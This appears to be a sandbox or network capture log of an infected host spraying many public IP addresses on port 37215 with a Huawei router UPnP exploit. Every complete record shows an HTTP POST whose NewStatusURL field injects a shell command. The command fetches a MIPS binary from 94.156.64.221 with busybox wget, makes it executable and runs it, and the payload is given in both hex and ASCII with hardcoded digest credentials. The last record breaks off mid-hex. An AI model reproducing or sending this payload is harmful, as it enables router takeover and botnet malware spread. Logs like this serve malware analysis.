Jun 1, 2024 18:15:54.254976034 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.23	40604	197.85.240.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.254997015 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.23	39874	41.147.35.71	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255074978 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.23	35932	156.240.0.43	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255124092 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.23	56718	41.45.246.39	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255199909 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	40978	156.158.221.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255234957 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	52168	156.32.96.160	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255440950 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	57988	156.149.206.65	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255481958 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	57296	197.132.75.186	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255506992 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	39538	197.75.33.112	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255551100 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	57142	41.39.148.206	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.255666971 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 